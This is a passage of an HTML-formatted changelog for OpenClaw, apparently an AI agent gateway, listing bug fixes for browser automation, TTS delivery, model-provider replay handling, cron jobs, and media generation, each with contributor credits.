<li>Browser/client: avoid telling agents to restart OpenClaw for dispatcher timeouts on external browser profiles such as <code>attachOnly</code>, remote CDP, and existing-session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4044411472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40815/hovercard" href="https://github.com/openclaw/openclaw/pull/40815">#40815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xsline/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xsline">@0xsline</a>.</li>
<li>Agents/TTS: preserve <code>[[audio_as_voice]]</code> directives on trusted text tool-result <code>MEDIA:</code> payloads so generated audio still delivers as a voice note. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076576982" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46535" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46535/hovercard" href="https://github.com/openclaw/openclaw/pull/46535">#46535</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/azade-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/azade-c">@azade-c</a>.</li>
<li>Agents/TTS: keep queued tool media when an assistant ends with <code>NO_REPLY</code> on non-block delivery paths, so media-only generated audio replies still send. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4198016737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60025" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60025/hovercard" href="https://github.com/openclaw/openclaw/pull/60025">#60025</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bradlind1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bradlind1">@bradlind1</a>.</li>
<li>Telegram/STT: frame inbound voice-note transcripts as machine-generated, untrusted text in agent context while preserving raw transcript mention detection. Closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4018090172" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33360/hovercard" href="https://github.com/openclaw/openclaw/issues/33360">#33360</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smartchainark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smartchainark">@smartchainark</a>.</li>
<li>Subagents/browser: show an actionable <code>/tools</code> notice when browser automation is configured but filtered out by the active tool profile, and document that coding-profile agents should use <code>tools.alsoAllow: ["browser"]</code> rather than subagent allowlists alone.</li>
<li>Control UI/Quick Settings: persist the assistant avatar override to browser local storage (mirroring the user avatar) so uploaded image data URLs no longer fail config validation with "Too big: expected string to have &lt;=200 characters". Also lift the gateway-side <code>ui.assistant.avatar</code> length cap to match the user avatar size budget for non-UI clients writing the field directly. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Plugin SDK: share diagnostic event subscriptions across duplicate source/dist module graphs so legacy root SDK imports still receive runtime diagnostic events.</li>
<li>Agents/Bedrock: prevent empty assistant stream-error turns from poisoning Converse replay by persisting, repairing, and replaying a non-empty fallback block. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328056829" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71572" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71572/hovercard" href="https://github.com/openclaw/openclaw/issues/71572">#71572</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328448230" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71627" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71627/hovercard" href="https://github.com/openclaw/openclaw/pull/71627">#71627</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Agents/Anthropic/Bedrock: strip thinking blocks with missing, empty, or blank replay signatures before provider conversion, falling back to non-empty omitted-reasoning text when needed so corrupted signed-thinking history no longer poisons subsequent turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4070310932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45010" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45010/hovercard" href="https://github.com/openclaw/openclaw/issues/45010">#45010</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307495974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70054/hovercard" href="https://github.com/openclaw/openclaw/pull/70054">#70054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/castaples/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/castaples">@castaples</a>.</li>
<li>Agents/Anthropic/Bedrock: preserve stripped thinking-only assistant replay turns with non-empty omitted-reasoning text so provider adapters keep strict user/assistant turn shape. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wujiaming88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wujiaming88">@wujiaming88</a>.</li>
<li>ACP/Codex: pass <code>sessions_spawn(runtime="acp")</code> model and thinking overrides into Codex ACP startup, normalize <code>openai-codex/*</code> refs and slash reasoning suffixes, and recognize managed Codex ACP wrapper commands without blocking current <code>gpt-5.5</code> sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042597081" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40393" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40393/hovercard" href="https://github.com/openclaw/openclaw/issues/40393">#40393</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328579948" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71643" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71643/hovercard" href="https://github.com/openclaw/openclaw/pull/71643">#71643</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/91wan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/91wan">@91wan</a>.</li>
<li>Browser/CDP: make readiness diagnostics use the same discovery-first fallback as reachability for bare <code>ws://</code> Browserless and Browserbase CDP URLs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299797320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69532/hovercard" href="https://github.com/openclaw/openclaw/issues/69532">#69532</a>.</li>
<li>Browser/CDP: explain that loopback Browserless or other externally managed CDP services need <code>attachOnly: true</code> and matching Browserless <code>EXTERNAL</code> endpoint when reporting local port ownership conflicts, and fall back to the configured bare WebSocket root when a discovered Browserless endpoint rejects CDP. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095070385" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49815" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49815/hovercard" href="https://github.com/openclaw/openclaw/issues/49815">#49815</a>.</li>
<li>Gateway/reload: preserve indefinite <code>gateway.reload.deferralTimeoutMs: 0</code> semantics for channel hot reload deferrals so active agent runs are not interrupted by a forced channel restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328540681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71637" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71637/hovercard" href="https://github.com/openclaw/openclaw/pull/71637">#71637</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Poo-Squirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Poo-Squirry">@Poo-Squirry</a>.</li>
<li>Agents/tool results: cap persisted Pi tool-result details and strip hidden diagnostics before provider conversion, preventing large debug payloads from bloating session transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328540681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71637" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71637/hovercard" href="https://github.com/openclaw/openclaw/pull/71637">#71637</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Poo-Squirry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Poo-Squirry">@Poo-Squirry</a>.</li>
<li>ACP/OpenCode: update the bundled acpx runtime to 0.6.0 and cover the OpenCode ACP bind path in Docker live tests.</li>
<li>Providers/OpenCode Go: add DeepSeek V4 Pro and DeepSeek V4 Flash to the Go catalog while the bundled Pi registry catches up. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328161792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71587/hovercard" href="https://github.com/openclaw/openclaw/issues/71587">#71587</a>.</li>
<li>Providers/OpenCode Go: route DeepSeek V4 Pro/Flash through the OpenAI-compatible Go endpoint and suppress invalid <code>reasoning_effort: "off"</code> payloads, fixing tool-enabled requests for <code>opencode-go/deepseek-v4-flash</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328769808" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71683" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71683/hovercard" href="https://github.com/openclaw/openclaw/issues/71683">#71683</a>.</li>
<li>Plugins/model defaults: run Skill Workshop review, Active Memory recall, and session-memory slug generation on the configured agent default model instead of the hardcoded OpenAI SDK fallback when hook context lacks model metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328679241" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71659" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71659/hovercard" href="https://github.com/openclaw/openclaw/issues/71659">#71659</a>.</li>
<li>Providers/Venice: fill the required DeepSeek V4 <code>reasoning_content</code> placeholder for <code>venice/deepseek-v4-pro</code> and <code>venice/deepseek-v4-flash</code> replay turns without sending native DeepSeek <code>thinking</code> controls that Venice rejects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328450187" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71628" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71628/hovercard" href="https://github.com/openclaw/openclaw/issues/71628">#71628</a>.</li>
<li>Browser/existing-session: support per-profile Chrome MCP command/args, map <code>cdpUrl</code> to <code>--browserUrl</code> or <code>--wsEndpoint</code>, and avoid combining endpoint flags with <code>--userDataDir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080120284" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47879/hovercard" href="https://github.com/openclaw/openclaw/issues/47879">#47879</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080995803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48037" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48037/hovercard" href="https://github.com/openclaw/openclaw/issues/48037">#48037</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4220547110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62706" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62706/hovercard" href="https://github.com/openclaw/openclaw/issues/62706">#62706</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/puneet1409/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/puneet1409">@puneet1409</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhehao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhehao">@zhehao</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/madkow1001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/madkow1001">@madkow1001</a>.</li>
<li>Media/plugins: bound MIME sniffing and ZIP archive preflight before handing untrusted files to <code>file-type</code> or <code>jszip</code>, reducing parser CPU and memory exposure for attachments and ClawHub plugin archives. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Memory-host SDK: use trusted env-proxy mode for remote embedding and batch HTTP calls only when Undici will proxy that target, preserving SSRF DNS pinning for <code>ALL_PROXY</code>-only and <code>NO_PROXY</code> bypass cases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115438877" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52162" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52162/hovercard" href="https://github.com/openclaw/openclaw/issues/52162">#52162</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327688904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71506" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71506/hovercard" href="https://github.com/openclaw/openclaw/pull/71506">#71506</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DhtIsCoding/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DhtIsCoding">@DhtIsCoding</a>.</li>
<li>Gateway/dashboard: render Control UI and WebSocket links with <code>https://</code>/<code>wss://</code> when <code>gateway.tls.enabled=true</code>, including <code>openclaw gateway status</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327630185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71494" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71494/hovercard" href="https://github.com/openclaw/openclaw/issues/71494">#71494</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327660439" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71499" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71499/hovercard" href="https://github.com/openclaw/openclaw/pull/71499">#71499</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepkilo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepkilo">@deepkilo</a>.</li>
<li>Agents/OpenAI-compatible: default proxy/local completions tool requests to <code>tool_choice: "auto"</code> when tools are present, so providers enter native tool-calling mode instead of replying with plain-text tool directives. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327534098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71472" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71472/hovercard" href="https://github.com/openclaw/openclaw/pull/71472">#71472</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Speed-maker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Speed-maker">@Speed-maker</a>.</li>
<li>OpenAI image generation: use <code>gpt-5.5</code> for the Codex OAuth responses transport instead of the retired <code>gpt-5.4</code> model, fixing 500s from ChatGPT Codex image generation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327703791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71513/hovercard" href="https://github.com/openclaw/openclaw/issues/71513">#71513</a>. Thanks @baolongl.</li>
<li>OpenAI image generation: route transparent-background default-model requests to <code>gpt-image-1.5</code>, document the expected <code>image_generate</code> call shape, and keep Azure/custom OpenAI-compatible deployment names untouched.</li>
<li>Google video generation: download direct MLDev Veo <code>video.uri</code> results instead of passing them through the Files API path, fixing 404s after successful generation/polling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324817492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71200" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71200/hovercard" href="https://github.com/openclaw/openclaw/issues/71200">#71200</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/panhaishan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/panhaishan">@panhaishan</a>.</li>
<li>Google video generation: fall back to the REST <code>predictLongRunning</code> Veo endpoint for text-only SDK 404s while keeping reference image/video generation on the SDK path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4215587624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62309" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62309/hovercard" href="https://github.com/openclaw/openclaw/issues/62309">#62309</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222914272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63008" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63008/hovercard" href="https://github.com/openclaw/openclaw/issues/63008">#63008</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216005545" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62343/hovercard" href="https://github.com/openclaw/openclaw/pull/62343">#62343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leoleedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leoleedev">@leoleedev</a>.</li>
<li>MiniMax music generation: switch the bundled default model from the unsupported <code>music-2.5+</code> id to the current <code>music-2.6</code> API model. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245010440" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64870/hovercard" href="https://github.com/openclaw/openclaw/issues/64870">#64870</a> and addresses the music default from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4215652478" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62315" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62315/hovercard" href="https://github.com/openclaw/openclaw/issues/62315">#62315</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/noahclanman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/noahclanman">@noahclanman</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edwardzheng1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edwardzheng1">@edwardzheng1</a>.</li>
<li>Cron: record jobs interrupted by a gateway restart as failed at their original <code>runningAtMs</code>, skip unsafe startup replay, and disable interrupted one-shot jobs so they show a visible failure instead of silently disappearing or duplicating work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4187207893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59056" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59056/hovercard" href="https://github.com/openclaw/openclaw/issues/59056">#59056</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207476732" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61343" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61343/hovercard" href="https://github.com/openclaw/openclaw/issues/61343">#61343</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231039858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63657" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63657/hovercard" href="https://github.com/openclaw/openclaw/issues/63657">#63657</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190617901" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59301" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59301/hovercard" href="https://github.com/openclaw/openclaw/issues/59301">#59301</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ponchoooPenguin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ponchoooPenguin">@ponchoooPenguin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/daemic24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/daemic24">@daemic24</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myradon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myradon">@myradon</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hikiwibot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hikiwibot">@hikiwibot</a>.</li>
<li>Cron tool: recover flat top-level schedule shorthand such as <code>cron</code>, <code>tz</code>, and <code>staggerMs</code> before gateway validation, so model-generated cron add/update calls preserve cron jitter settings. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tyxben/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tyxben">@tyxben</a>.</li>
<li>Cron: hydrate flat legacy job rows with top-level <code>cron</code>, <code>tz</code>, <code>session</code>, and <code>message</code> fields into canonical schedule, target, and payload objects before startup recomputes run times. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4059364525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43351" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43351/hovercard" href="https://github.com/openclaw/openclaw/issues/43351">#43351</a>.</li>
<li>Agents/replies: let pending group chat history trigger bare mentioned turns without treating metadata-only inbound context as user input. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327616390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71489" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71489/hovercard" href="https://github.com/openclaw/openclaw/issues/71489">#71489</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327739393" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71520" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71520/hovercard" href="https://github.com/openclaw/openclaw/pull/71520">#71520</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Google media generation: strip a configured trailing <code>/v1beta</code> from Google music/video provider base URLs before calling the Google GenAI SDK, preventing doubled <code>/v1beta/v1beta</code> paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226005033" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63240" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63240/hovercard" href="https://github.com/openclaw/openclaw/issues/63240">#63240</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226196460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63258" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63258/hovercard" href="https://github.com/openclaw/openclaw/pull/63258">#63258</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hybirdss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hybirdss">@Hybirdss</a>.</li>
<li>Discord: restore direct-message voice-note preflight transcription and classify URL-only Ogg/Opus voice attachments as audio while skipping partial attachments without usable URLs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207287932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61314" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61314/hovercard" href="https://github.com/openclaw/openclaw/issues/61314">#61314</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4244552483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64803" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64803/hovercard" href="https://github.com/openclaw/openclaw/issues/64803">#64803</a>.</li>
<li>Plugins/build: copy bundled plugin skill trees into <code>dist-runtime</code>, broaden Windows symlink-copy fallbacks, and fingerprint runtime dependencies from <code>lstat</code> so symlink-like directory entries cannot crash staging.</li>
<li>Google Chat: preserve reply text when a typing indicator message is deleted or can no longer be updated, so media captions and first text chunks are resent instead of silently disappearing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327650702" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71498" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71498/hovercard" href="https://github.com/openclaw/openclaw/pull/71498">#71498</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colin-lgtm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colin-lgtm">@colin-lgtm</a>.</li>
<li>Cron: tolerate malformed legacy job rows in startup, main-session system-event payloads, and human-readable <code>cron list</code> output so missing <code>state</code>, <code>payload.text</code>, or display fields no longer crash the scheduler or CLI. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256052544" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66016/hovercard" href="https://github.com/openclaw/openclaw/issues/66016">#66016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4254208406" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65916/hovercard" href="https://github.com/openclaw/openclaw/issues/65916">#65916</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237081136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64137/hovercard" href="https://github.com/openclaw/openclaw/issues/64137">#64137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4173024002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57872" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57872/hovercard" href="https://github.com/openclaw/openclaw/issues/57872">#57872</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4197639692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59968/hovercard" href="https://github.com/openclaw/openclaw/issues/59968">#59968</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233361564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63813" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63813/hovercard" href="https://github.com/openclaw/openclaw/issues/63813">#63813</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4120171658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52804" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52804/hovercard" href="https://github.com/openclaw/openclaw/issues/52804">#52804</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057886163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43163" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43163/hovercard" href="https://github.com/openclaw/openclaw/issues/43163">#43163</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327695420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71509" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71509/hovercard" href="https://github.com/openclaw/openclaw/pull/71509">#71509</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/models: make <code>openclaw models scan</code> fall back to public OpenRouter free-model metadata when no <code>OPENROUTER_API_KEY</code> is configured, avoid config secret resolution for explicit <code>--no-probe</code> scans, and apply the scan timeout to the OpenRouter catalog request.</li>
